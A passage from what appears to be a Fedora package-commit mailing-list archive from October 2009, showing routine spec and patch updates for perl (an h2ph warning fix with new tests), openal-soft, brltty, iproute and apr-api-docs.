perl-bz509676.patch:
 lib/h2ph.t     |   10 +++++++++-
 t/lib/h2ph.h   |    6 ++++++
 t/lib/h2ph.pht |   24 ++++++++++++++----------
 utils/h2ph.PL  |    2 +-
 4 files changed, 30 insertions(+), 12 deletions(-)

--- NEW FILE perl-bz509676.patch ---
commit 345d607e7958b7f31d5f0c780e86d1cc3e658d99
Author: Niko Tyni <ntyni at debian.org>
Date:   Tue Apr 14 22:55:34 2009 +0300

    Squelch 'Constant subroutine ... undefined' warnings from .ph files
    
    As reported by Christopher Zimmermann in <http://bugs.debian.org/379757>,
    code generated from simple #undef directives by h2ph can cause
    'Constant subroutine ... undefined' warnings if the undefined
    function was eligible for inlining.
    
    (cherry picked from commit c0cc52e96e988526754ef533bd76595720660db2)

commit 2d375d52dd1895b26a80209dd64a3c11b9e3b532
Author: Niko Tyni <ntyni at debian.org>
Date:   Tue Apr 14 22:55:33 2009 +0300

    Add tests to verify that h2ph output compiles and is warning free
    
    The #include directives are #ifdef'd out so that running the
    resulting code does not actually need the headers. We still
    get the same effect from comparing with the expected h2ph output.
    
    (cherry picked from commit c1a2df7619e7315b8fccef3b9fa56bb8d7df3845)

diff --git a/lib/h2ph.t b/lib/h2ph.t
index 7b339b3..e303406 100755
--- a/lib/h2ph.t
+++ b/lib/h2ph.t
@@ -15,7 +15,7 @@ if (!(-e $extracted_program)) {
     exit 0;
 }
 
-print "1..2\n";
+print "1..4\n";
 
 # quickly compare two text files
 sub txt_compare {
@@ -32,6 +32,14 @@ print(($ok == 0 ? "" : "not "), "ok 1\n");
 $ok = txt_compare("lib/h2ph.ph", "lib/h2ph.pht");
 print(($ok == 0 ? "" : "not "), "ok 2\n");
     
+# does the output compile?
+$ok = system($^X, "-I../lib", "lib/h2ph.pht");
+print(($ok == 0 ? "" : "not "), "ok 3\n");
+
+# is the output warning free?
+$ok = system($^X, "-w", "-I../lib", "-e", '$SIG{__WARN__} = sub { die $_[0] }; require "lib/h2ph.pht"');
+print(($ok == 0 ? "" : "not "), "ok 4\n");
+
 # cleanup - should this be in an END block?
 unlink("lib/h2ph.ph");
 unlink("_h2ph_pre.ph");
diff --git a/t/lib/h2ph.h b/t/lib/h2ph.h
index 495789a..78429ca 100644
--- a/t/lib/h2ph.h
+++ b/t/lib/h2ph.h
@@ -26,6 +26,10 @@
 #undef MAX
 #define MAX(a,b) ((a) > (b) ? (a) : (b))
 
+/* Test #undef'ining an existing constant function */
+#define NOTTRUE 0
+#undef NOTTRUE
+
 /* Test #ifdef */
 #ifdef __SOME_UNIMPORTANT_PROPERTY
 #define MIN(a,b) ((a) < (b) ? (a) : (b))
@@ -68,9 +72,11 @@ function Tru64_Pascal(n: Integer): Integer;
  *  with `use lib qw(/opt/perl5/lib/site_perl/i586-linux/linux);' or whatever
  *  your equivalent is...
  */
+#if 0
 #include <sys/socket.h>
 #import "sys/ioctl.h"
 #include_next <sys/fcntl.h>
+#endif
 
 /* typedefs should be ignored */
 typedef struct a_struct {
diff --git a/t/lib/h2ph.pht b/t/lib/h2ph.pht
index 145e682..3723fca 100644
--- a/t/lib/h2ph.pht
+++ b/t/lib/h2ph.pht
@@ -1,6 +1,6 @@
 require '_h2ph_pre.ph';
 
-no warnings 'redefine';
+no warnings qw(redefine misc);
 
 unless(defined(&SQUARE)) {
     sub SQUARE {
@@ -22,6 +22,8 @@ unless(defined(&_H2PH_H_)) {
         my($a,$b) = @_;
 	    eval q((($a) > ($b) ? ($a) : ($b)));
     }' unless defined(&MAX);
+    eval 'sub NOTTRUE () {0;}' unless defined(&NOTTRUE);
+    undef(&NOTTRUE) if defined(&NOTTRUE);
     if(defined(&__SOME_UNIMPORTANT_PROPERTY)) {
 	eval 'sub MIN {
 	    my($a,$b) = @_;
@@ -47,15 +49,17 @@ unless(defined(&_H2PH_H_)) {
     } else {
 	eval 'sub WHATEVER () {1000;}' unless defined(&WHATEVER);
     }
-    require 'sys/socket.ph';
-    require 'sys/ioctl.ph';
-    eval {
-	my(@REM);
-	my(%INCD) = map { $INC{$_} => 1 } (grep { $_ eq "sys/fcntl.ph" } keys(%INC));
-	@REM = map { "$_/sys/fcntl.ph" } (grep { not exists($INCD{"$_/sys/fcntl.ph"}) and -f "$_/sys/fcntl.ph" } @INC);
-	require "$REM[0]" if @REM;
-    };
-    warn($@) if $@;
+    if(0) {
+	require 'sys/socket.ph';
+	require 'sys/ioctl.ph';
+	eval {
+	    my(@REM);
+	    my(%INCD) = map { $INC{$_} => 1 } (grep { $_ eq "sys/fcntl.ph" } keys(%INC));
+	    @REM = map { "$_/sys/fcntl.ph" } (grep { not exists($INCD{"$_/sys/fcntl.ph"}) and -f "$_/sys/fcntl.ph" } @INC);
+	    require "$REM[0]" if @REM;
+	};
+	warn($@) if $@;
+    }
     eval("sub sun () { 0; }") unless defined(&sun);
     eval("sub mon () { 1; }") unless defined(&mon);
     eval("sub tue () { 2; }") unless defined(&tue);
diff --git a/utils/h2ph.PL b/utils/h2ph.PL
index 6f40126..4e99a7a 100644
--- a/utils/h2ph.PL
+++ b/utils/h2ph.PL
@@ -123,7 +123,7 @@ while (defined (my $file = next_file())) {
 
     print OUT
         "require '_h2ph_pre.ph';\n\n",
-        "no warnings 'redefine';\n\n";
+        "no warnings qw(redefine misc);\n\n";
 
     while (defined (local $_ = next_line($file))) {
 	if (s/^\s*\#\s*//) {


Index: perl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl/F-10/perl.spec,v
retrieving revision 1.214
retrieving revision 1.215
diff -u -p -r1.214 -r1.215
--- perl.spec	7 Jul 2009 13:45:22 -0000	1.214
+++ perl.spec	9 Oct 2009 11:37:03 -0000	1.215
@@ -7,7 +7,7 @@
 
 Name:           perl
 Version:        %{perl_version}
-Release:        73%{?dist}
+Release:        74%{?dist}
 Epoch:          %{perl_epoch}
 Summary:        Practical Extraction and Report Language
 Group:          Development/Languages
@@ -184,6 +184,17 @@ Patch57:	38_fix_weaken_memleak
 # http://rt.perl.org/rt3/Ticket/Display.html?id=39060 (#221113)
 Patch58:	perl-perlio-incorrect-errno.patch
 
+# h2ph: generated *.ph files no longer produce warnings when processed
+Patch59:	perl-bz509676.patch
+
+# much better swap logic to support reentrancy and fix assert failure
+# http://perl5.git.perl.org/perl.git/commitdiff/e9105d30edfbaa7f444bc7984c9bafc8e991ad12
+# RT #60508
+Patch61:	perl-5.10.0-much-better-swap-logic.patch
+
+# https://issues.apache.org/SpamAssassin/show_bug.cgi?id=6148
+Patch62:	perl-5.10.0-spamassassin.patch
+
 # Update some of the bundled modules
 # see http://fedoraproject.org/wiki/Perl/perl.spec for instructions
 Patch100:	perl-update-constant.patch
@@ -987,6 +998,9 @@ upstream tarball from perl.org.
 %patch56 -p1
 %patch57 -p1
 %patch58 -p1
+%patch59 -p1
+%patch61 -p1
+%patch62 -p1
 
 %patch100 -p1
 %patch101 -p1
@@ -1256,6 +1270,9 @@ perl -x patchlevel.h \
 	'Fedora Patch56: Fix $? when dumping core' \
 	'34209 Fix a memory leak with Scalar::Util::weaken()' \
 	'fix RT 39060, errno incorrectly set in perlio' \
+	'Fedora Patch59: h2ph: generated *.ph files no longer produce warnings when processed' \
+	'Fedora Patch61: much better swap logic to support reentrancy and fix assert failure' \
+	'Fedora Patch62: spam assassin needs workaround for removing tainted mode' \
 	'Fedora Patch100: Update module constant to %{constant_version}' \
 	'Fedora Patch101: Update Archive::Extract to %{Archive_Extract_version}' \
 	'Fedora Patch102: Update Archive::Tar to %{Archive_Tar_version}' \
@@ -1902,6 +1919,11 @@ TMPDIR="$PWD/tmp" make test
 
 # Old changelog entries are preserved in CVS.
 %changelog
+* Fri Oct  9 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 4:5.10.0-74
+- 510127 spam assassin suffer from tainted bug
+- 494773 much better swap logic to support reentrancy and fix assert failure (rt #60508)
+- fix generated .ph files so that they no longer cause warnings (#509676)
+
 * Tue Jul  7 2009 Stepan Kasal <skasal at redhat.com> - 4:5.10.0-73
 - re-enable tests
 



From jwrdegoede at fedoraproject.org  Fri Oct  9 11:48:17 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 11:48:17 +0000 (UTC)
Subject: rpms/openal-soft/devel .cvsignore, 1.3, 1.4 openal-soft.spec, 1.5, 
	1.6 sources, 1.3, 1.4
Message-ID: <20091009114817.0D21511C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/openal-soft/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3480

Modified Files:
	.cvsignore openal-soft.spec sources 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> - 1.9.563-1.d6e439244ae00a1750f0dc8b249f47efb4967a23git
- Update to 1.9.563 + some fixes from git
- This fixes:
  - Not having any sound in chromium-bsu 
  - Various openal using programs hanging on exit



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/openal-soft/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	20 Aug 2009 22:33:47 -0000	1.3
+++ .cvsignore	9 Oct 2009 11:48:16 -0000	1.4
@@ -1 +1 @@
-openal-soft-1.8.466.487f0dde7593144ceabd817306500465caf7602a.tar.gz
+openal-soft-d6e439244ae00a1750f0dc8b249f47efb4967a23.tar.gz


Index: openal-soft.spec
===================================================================
RCS file: /cvs/extras/rpms/openal-soft/devel/openal-soft.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- openal-soft.spec	20 Aug 2009 22:56:37 -0000	1.5
+++ openal-soft.spec	9 Oct 2009 11:48:16 -0000	1.6
@@ -1,15 +1,15 @@
-%global revision 487f0dde7593144ceabd817306500465caf7602a
+%global revision d6e439244ae00a1750f0dc8b249f47efb4967a23
 
 Name:		openal-soft
-Version:	1.8.466
-Release:	9.%{revision}git%{?dist}
+Version:	1.9.563
+Release:	1.%{revision}git%{?dist}
 Summary:	Open Audio Library
 
 Group:		System Environment/Libraries
 License:	LGPLv2+
 URL:		http://kcat.strangesoft.net/openal.html
-#http://repo.or.cz/w/openal-soft.git?a=snapshot;h=487f0dde7593144ceabd817306500465caf7602a;sf=tgz
-Source0:	openal-soft-%{version}.%{revision}.tar.gz
+#http://repo.or.cz/w/openal-soft.git?a=snapshot;h=%{revision};sf=tgz
+Source0:	openal-soft-%{revision}.tar.gz
 Patch1:		openal-soft.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -75,6 +75,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/openal.pc
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> - 1.9.563-1.d6e439244ae00a1750f0dc8b249f47efb4967a23git
+- Update to 1.9.563 + some fixes from git
+- This fixes:
+  - Not having any sound in chromium-bsu 
+  - Various openal using programs hanging on exit
+
 * Fri Aug 21 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 1.8.466-9.487f0dde7593144ceabd817306500465caf7602agit
 - Fixed version info
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/openal-soft/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	20 Aug 2009 22:33:47 -0000	1.3
+++ sources	9 Oct 2009 11:48:16 -0000	1.4
@@ -1 +1 @@
-267db7ffed500030c4c95045ae17887d  openal-soft-1.8.466.487f0dde7593144ceabd817306500465caf7602a.tar.gz
+3856e99282a0e129b81a938867145fb5  openal-soft-d6e439244ae00a1750f0dc8b249f47efb4967a23.tar.gz



From kasal at fedoraproject.org  Fri Oct  9 11:48:43 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri,  9 Oct 2009 11:48:43 +0000 (UTC)
Subject: rpms/brltty/devel brltty-parallel.patch, 1.1, 1.2 brltty.spec, 1.35,
	1.36 brltty-3.9-autoconf.patch, 1.1, NONE brltty-gnusource.patch,
	1.1, NONE
Message-ID: <20091009114843.5779F11C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/brltty/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3672

Modified Files:
	brltty-parallel.patch brltty.spec 
Removed Files:
	brltty-3.9-autoconf.patch brltty-gnusource.patch 
Log Message:
- new upstream version
- drop upstreamed patches; ./autogen nut needed anymore
- pack the xbrlapi server; move its man page to brlapi package

brltty-parallel.patch:
 Makefile.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: brltty-parallel.patch
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/brltty-parallel.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- brltty-parallel.patch	17 Sep 2008 15:40:27 -0000	1.1
+++ brltty-parallel.patch	9 Oct 2009 11:48:43 -0000	1.2
@@ -5,16 +5,14 @@
 	"make brlapi" when parallel make is used.  Recursive make is
 	harmful.
 
-diff -up brltty-3.10/Makefile.in.parallel brltty-3.10/Makefile.in
-diff -up brltty-3.10/Programs/Makefile.in.parallel brltty-3.10/Programs/Makefile.in
---- brltty-3.10/Programs/Makefile.in.parallel	2008-07-17 00:19:08.000000000 +0200
-+++ brltty-3.10/Programs/Makefile.in	2008-09-17 11:24:35.000000000 +0200
-@@ -399,7 +399,7 @@ apitest.$O:
+--- brltty-4.0/Programs/Makefile.in.parallel	2009-10-07 20:48:57.000000000 +0200
++++ brltty-4.0/Programs/Makefile.in	2009-10-07 20:50:03.000000000 +0200
+@@ -428,7 +428,7 @@
  
  ###############################################################################
  
--braille-drivers: txt2hlp
-+braille-drivers: txt2hlp api
+-braille-drivers: txt2hlp$X
++braille-drivers: txt2hlp$X api
  	for driver in $(BRAILLE_EXTERNAL_DRIVER_NAMES); \
  	do (cd $(BLD_TOP)$(BRL_DIR)/$$driver && $(MAKE) braille-driver braille-all) || exit 1; \
  	done


Index: brltty.spec
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/brltty.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- brltty.spec	24 Jul 2009 18:25:41 -0000	1.35
+++ brltty.spec	9 Oct 2009 11:48:43 -0000	1.36
@@ -1,5 +1,5 @@
-%define pkg_version 3.10
-%define api_version 0.5.2
+%define pkg_version 4.0
+%define api_version 0.5.3
 
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?pyver: %define pyver %(%{__python} -c "import sys; v=sys.version_info[:2]; print '%d.%d'%v")}
@@ -9,13 +9,11 @@
 
 Name: brltty
 Version: %{pkg_version}
-Release: 6%{?dist}
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://mielke.cc/brltty/
 Source: http://mielke.cc/brltty/releases/%{name}-%{version}.tar.gz
-Patch2: brltty-gnusource.patch
-Patch3: brltty-3.9-autoconf.patch
 Patch4: brltty-cppflags.patch
 Patch5: brltty-parallel.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -44,7 +42,8 @@ This package provides the XWindow driver
 Requires: %{name}
 Summary: AtSpi driver for BRLTTY
 Group: System Environment/Daemons
-License: GPLv2+
+# The data files are licensed under LGPLv2+, see the README file.
+License: GPLv2+ and LGPLv2+
 BuildRequires: at-spi-devel
 %description at-spi
 This package provides the AtSpi driver for BRLTTY.
@@ -116,22 +115,18 @@ This package provides the Java binding f
 
 %prep
 %setup -q
-%patch2 -p1 -b .gnusource
-%patch3 -p1 -b .autoconf
 %patch4 -p1 -b .cppflags
 %patch5 -p1 -b .parallel
 
 %build
-./autogen
 for i in -I/usr/lib/jvm/java/include{,/linux}; do
       java_inc="$java_inc $i"
 done
 # there is no curses packages in BuildRequires, so the package builds
 # without them in mock; let's express this decision explicitly
 %configure CPPFLAGS="$java_inc" --without-curses \
+  --with-data-directory='${datadir}/${PACKAGE_NAME}' \
   --with-install-root="${RPM_BUILD_ROOT}" --with-braille-driver=-tt
-cat config.log
-#exit 1
 make %{?_smp_mflags}
 
 for file in $(find . \( -path ./doc -o -path ./Documents \) -prune -o \( -name 'README*' -o -name '*.txt' -o -name '*.html' -o -name '*.sgml' -o -name \*.patch -o \( -path "./Bootdisks/*" -type f -perm +ugo=x \) \) -print)
@@ -143,8 +138,9 @@ done
 %install
 rm -rf $RPM_BUILD_ROOT
 make INSTALL_PROGRAM='$(INSTALL_SCRIPT)' install #install-programs install-help install-tables install-drivers install-manpage
+install -d -m 755 "${RPM_BUILD_ROOT}%{_sysconfdir}" "$RPM_BUILD_ROOT%{_mandir}/man5"
 install -m 644 Documents/brltty.conf "${RPM_BUILD_ROOT}%{_sysconfdir}"
-rm -f ${RPM_BUILD_ROOT}/usr/bin/xbrlapi # whatever this is, we exclude it for now
+echo ".so man1/brltty.1" > $RPM_BUILD_ROOT%{_mandir}/man5/brltty.conf.5
 
 ls ${RPM_BUILD_ROOT}/%{_libdir}/brltty/*.so | \
     grep -v 'libbrlttybxw.so\|libbrlttyxas.so' | \
@@ -181,12 +177,14 @@ exit 0
 %{_bindir}/brltty-*
 %{_bindir}/vstp
 %dir %{_libdir}/brltty
-/etc/brltty
-%doc COPYING
+%{_datadir}/brltty
+%doc LICENSE-GPL LICENSE-LGPL
 %doc Documents/ChangeLog Documents/TODO
+%doc Documents/Manual-BRLTTY
 %doc Bootdisks/rhmkboot Bootdisks/rhmkroot
 %doc doc/*
-%doc /usr/share/man/man1/*
+%doc %{_mandir}/man[15]/brltty.*
+%doc %{_mandir}/man1/vstp.*
 
 %files xw
 %{_libdir}/brltty/libbrlttybxw.so
@@ -196,10 +194,12 @@ exit 0
 
 %files -n brlapi
 %defattr(-,root,root)
+%{_bindir}/xbrlapi
 %{_libdir}/libbrlapi.so.*
 %doc Documents/Manual-BrlAPI/English/BrlAPI.sgml Documents/Manual-BrlAPI/English/BrlAPI.txt
 %doc Documents/Manual-BrlAPI/English/BrlAPI*.html
-%doc Documents/README.Gnopernicus
+%doc Documents/README.Seika
+%doc %{_mandir}/man1/xbrlapi.*
 
 %files -n brlapi-devel
 %defattr(-,root,root)
@@ -207,7 +207,7 @@ exit 0
 %{_libdir}/libbrlapi.so
 %{_includedir}/brltty
 %{_includedir}/brlapi*.h
-%doc %{_mandir}/man3/*
+%doc %{_mandir}/man3/brlapi_*.3*
 %doc Documents/BrlAPIref/html
 
 %files -n tcl-brlapi
@@ -226,6 +226,11 @@ exit 0
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 4.0-1
+- new upstream version
+- drop upstreamed patches; ./autogen nut needed anymore
+- pack the xbrlapi server; move its man page to brlapi package
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.10-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- brltty-3.9-autoconf.patch DELETED ---


--- brltty-gnusource.patch DELETED ---



From mmaslano at fedoraproject.org  Fri Oct  9 11:49:26 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Fri,  9 Oct 2009 11:49:26 +0000 (UTC)
Subject: rpms/iproute/devel .cvsignore, 1.29, 1.30 iproute.spec, 1.98,
	1.99 iproute2-2.6.29-tc_modules.patch, 1.1, 1.2 man-pages.patch,
	1.1, 1.2 sources, 1.29, 1.30 iproute-ip-man.patch, 1.8,
	NONE iproute2-2.6.29-fix_headers_for_gre.patch, 1.2,
	NONE iproute2-display_ip4ip6tunnels.patch, 1.2,
	NONE iproute2-missing-arpd-directory.patch, 1.2, NONE
Message-ID: <20091009114926.800E011C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/iproute/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3925

Modified Files:
	.cvsignore iproute.spec iproute2-2.6.29-tc_modules.patch 
	man-pages.patch sources 
Removed Files:
	iproute-ip-man.patch iproute2-2.6.29-fix_headers_for_gre.patch 
	iproute2-display_ip4ip6tunnels.patch 
	iproute2-missing-arpd-directory.patch 
Log Message:
* Thu Sep 24 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5
- create missing man pages



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	25 Mar 2009 12:49:42 -0000	1.29
+++ .cvsignore	9 Oct 2009 11:49:25 -0000	1.30
@@ -1 +1 @@
-iproute2-2.6.29.tar.bz2
+iproute2-20091009.tar.bz2


Index: iproute.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/iproute.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- iproute.spec	24 Sep 2009 12:09:39 -0000	1.98
+++ iproute.spec	9 Oct 2009 11:49:26 -0000	1.99
@@ -1,23 +1,20 @@
-##%define date_version 070710
+%define date_version 20091009
 %define cbq_version v0.7.3
 
 Summary: Advanced IP routing and network device configuration tools
 Name: iproute
 Version: 2.6.29
-Release: 5%{?dist}
+Release: 5.0.20091009gitdaf49fd6%{?dist}
 Group: Applications/System
-Source: http://developer.osdl.org/dev/iproute2/download/iproute2-%{version}.tar.bz2
+Source: iproute2-%{date_version}.tar.bz2
+Source1: http://developer.osdl.org/dev/iproute2/download/iproute2-%{version}.tar.bz2
 #Source1: iproute-doc-2.6.22.tar.gz
 URL:	http://linux-net.osdl.org/index.php/Iproute2
 Patch0: man-pages.patch
-Patch1: iproute2-2.6.9-kernel.patch
+Patch1: iproute2-2.6.29-kernel.patch
 Patch2: iproute2-ss050901-opt_flags.patch
-Patch3: iproute-ip-man.patch
 Patch4: iproute2-2.6.25-segfault.patch
 Patch5: iproute2-sharepath.patch
-Patch6: iproute2-2.6.29-fix_headers_for_gre.patch
-Patch7: iproute2-missing-arpd-directory.patch
-Patch8: iproute2-display_ip4ip6tunnels.patch
 Patch9: iproute2-2.6.29-tc_modules.patch
 Patch10: iproute2-2.6.29-IPPROTO_IP_for_SA.patch
 
@@ -42,16 +39,12 @@ License: GPLv2+
 The iproute documentation contains howtos and examples of settings.
 
 %prep
-%setup -q -n iproute2-%{version}
+%setup -q -n iproute2-%{date_version}
 %patch0 -p1
 %patch1 -p1 -b .kernel
 %patch2 -p1 -b .opt_flags
-%patch3 -p1
 %patch4 -p1 -b .seg
 %patch5 -p1 -b .share
-%patch6 -p1 -b .hdrs
-%patch7 -p1 -b .arpd
-%patch8 -p1 -b .ip4ip6
 %patch9 -p1 -b .ipt
 %patch10 -p1 -b .ipproto
 

iproute2-2.6.29-tc_modules.patch:
 Makefile |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: iproute2-2.6.29-tc_modules.patch
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/iproute2-2.6.29-tc_modules.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- iproute2-2.6.29-tc_modules.patch	24 Apr 2009 07:49:30 -0000	1.1
+++ iproute2-2.6.29-tc_modules.patch	9 Oct 2009 11:49:26 -0000	1.2
@@ -1,9 +1,9 @@
-diff -up iproute2-2.6.29/Makefile.ipt iproute2-2.6.29/Makefile
---- iproute2-2.6.29/Makefile.ipt	2009-04-23 15:19:19.000000000 +0200
-+++ iproute2-2.6.29/Makefile	2009-04-23 15:27:19.802477954 +0200
-@@ -10,7 +10,7 @@ ARPDDIR=/var/lib/arpd                   
+diff -up iproute2-20091009/Makefile.ipt iproute2-20091009/Makefile
+--- iproute2-20091009/Makefile.ipt	2009-10-09 13:29:27.137385281 +0200
++++ iproute2-20091009/Makefile	2009-10-09 13:32:14.251632048 +0200
+@@ -11,7 +11,7 @@ KERNEL_INCLUDE=/usr/include
  # Path to db_185.h include
- DBM_INCLUDE:=/usr/include
+ DBM_INCLUDE:=$(ROOTDIR)/usr/include
  
 -DEFINES= -DRESOLVE_HOSTNAMES -DLIBDIR=\"$(LIBDIR)\"
 +DEFINES= -DRESOLVE_HOSTNAMES -DLIBDIR=\"$(LIBDIR)\" -DIPT_LIB_DIR=\"$(IPT_LIB_DIR)\"

man-pages.patch:
 cbq.8   |    1 +
 ifcfg.8 |   57 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ip.8    |    7 +++++++
 nstat.8 |    1 +
 4 files changed, 66 insertions(+)

Index: man-pages.patch
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/man-pages.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- man-pages.patch	24 Sep 2009 12:09:39 -0000	1.1
+++ man-pages.patch	9 Oct 2009 11:49:26 -0000	1.2
@@ -71,3 +71,27 @@ diff -up /dev/null iproute2-2.6.29/man/m
 @@ -0,0 +1 @@
 +.so man8/rtacct.8
 \ No newline at end of file
+diff -up iproute2-2.6.29/iproute2-2.6.29/man/man8/ip.8.mm iproute2-2.6.29/iproute2-2.6.29/man/man8/ip.8
+--- iproute2-2.6.29/man/man8/ip.8.mm	2008-07-25 22:46:07.000000000 +0200
++++ iproute2-2.6.29/man/man8/ip.8	2008-08-12 14:24:01.000000000 +0200
+@@ -190,6 +190,8 @@ replace " | " monitor " } "
+ .IR NUMBER " ] [ "
+ .B  cwnd
+ .IR NUMBER " ] [ "
++.B  initcwnd
++.IR NUMBER " ] [ "
+ .B  ssthresh
+ .IR REALM " ] [ "
+ .B  realms
+@@ -1480,6 +1482,11 @@ the clamp for congestion window.  It is 
+ flag is not used.
+ 
+ .TP
++.BI initcwnd " NUMBER "
++the maximum initial congestion window (cwnd) size in MSS of a
++TCP connection.
++
++.TP
+ .BI advmss " NUMBER " "(2.3.15+ only)"
+ the MSS ('Maximal Segment Size') to advertise to these
+ destinations when establishing TCP connections.  If it is not given,


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	25 Mar 2009 12:49:42 -0000	1.29
+++ sources	9 Oct 2009 11:49:26 -0000	1.30
@@ -1 +1 @@
-a3ecfaa091289656fae786b027b44eda  iproute2-2.6.29.tar.bz2
+129797c64d5f79474304142a4213604d  iproute2-20091009.tar.bz2


--- iproute-ip-man.patch DELETED ---


--- iproute2-2.6.29-fix_headers_for_gre.patch DELETED ---


--- iproute2-display_ip4ip6tunnels.patch DELETED ---


--- iproute2-missing-arpd-directory.patch DELETED ---



From kasal at fedoraproject.org  Fri Oct  9 11:52:49 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri,  9 Oct 2009 11:52:49 +0000 (UTC)
Subject: rpms/brltty/devel .cvsignore,1.7,1.8 sources,1.7,1.8
Message-ID: <20091009115249.2D21B11C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/brltty/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4737

Modified Files:
	.cvsignore sources 
Log Message:
- new upstream version
- drop upstreamed patches; ./autogen nut needed anymore
- pack the xbrlapi server; move its man page to brlapi package


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 Sep 2008 15:59:49 -0000	1.7
+++ .cvsignore	9 Oct 2009 11:52:48 -0000	1.8
@@ -1 +1 @@
-brltty-3.10.tar.gz
+brltty-4.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	17 Sep 2008 15:59:49 -0000	1.7
+++ sources	9 Oct 2009 11:52:48 -0000	1.8
@@ -1 +1 @@
-d52f332a29e00495d166e7f45403fa9d  brltty-3.10.tar.gz
+2862727384a1308dbff3031efb85c41e  brltty-4.0.tar.gz



From bojan at fedoraproject.org  Fri Oct  9 11:57:13 2009
From: bojan at fedoraproject.org (bojan)
Date: Fri,  9 Oct 2009 11:57:13 +0000 (UTC)
Subject: rpms/apr-api-docs/F-11 apr-api-docs.spec,1.14,1.15
Message-ID: <20091009115713.2D4D011C00C1@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr-api-docs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6518

Modified Files:
	apr-api-docs.spec 
Log Message:
Bump up to 1.3.9.


Index: apr-api-docs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr-api-docs/F-11/apr-api-docs.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- apr-api-docs.spec	3 Sep 2009 09:17:42 -0000	1.14
+++ apr-api-docs.spec	9 Oct 2009 11:57:12 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           apr-api-docs
-Version:        1.3.8
-Release:        2%{?dist}
+Version:        1.3.9
+Release:        1%{?dist}
 Summary:        Apache Portable Runtime API documentation
 
 Group:          Development/Tools
@@ -60,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_docdir}/apr-%{version}/api-docs/*
 
 %changelog
+* Fri Oct  9 2009 Bojan Smojver <bojan at rexursive.com> 1.3.9-1
+- Bump up to 1.3.9
+
 * Tue Sep  3 2009 Bojan Smojver <bojan at rexursive.com> 1.3.8-2
